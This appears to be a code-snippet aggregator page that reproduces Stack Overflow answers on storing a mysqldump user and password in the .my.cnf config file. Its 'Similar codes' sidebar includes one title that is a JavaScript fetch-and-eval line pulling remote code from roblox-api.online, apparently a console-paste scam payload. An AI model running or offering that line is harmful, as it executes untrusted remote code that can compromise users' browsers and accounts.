Mysqldump password

add this to .my.cnf file
user can be omitted

[mysqldump]
user=mysqluser
password=secret

The -p option must be excluded from the command in order to use the password in the config file.
Correct:
mysqldump –u my_username my_db > my_db.sql
Wrong:
mysqldump –u my_username -p my_db > my_db.sql

Source: stackoverflow.com

Mysqldump password in file

[mysqldump]
user=mysqluser
password=secret

Source: stackoverflow.com

Similar codes

9 votes276 views1 answer
Identity insert on sql server
SQL
1 vote305 views1 answer
Psql connections
SQL
0 vote314 views2 answers
Starts and end with vowel sql
SQL
1 vote339 views1 answer
Postgresql where datetrunc month and year equal
SQL
0 vote317 views1 answer
Show tables in cassandra cql
SQL
0 vote298 views1 answer
FIND LOWEST SALARY EARNER IN SQL
SQL
0 vote279 views1 answer
Sql server 2012 create or alter procedure
SQL
4 votes269 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote324 views1 answer
Create synonym for dblink in oracle
SQL
1 vote265 views1 answer
Sql auto timestamp
SQL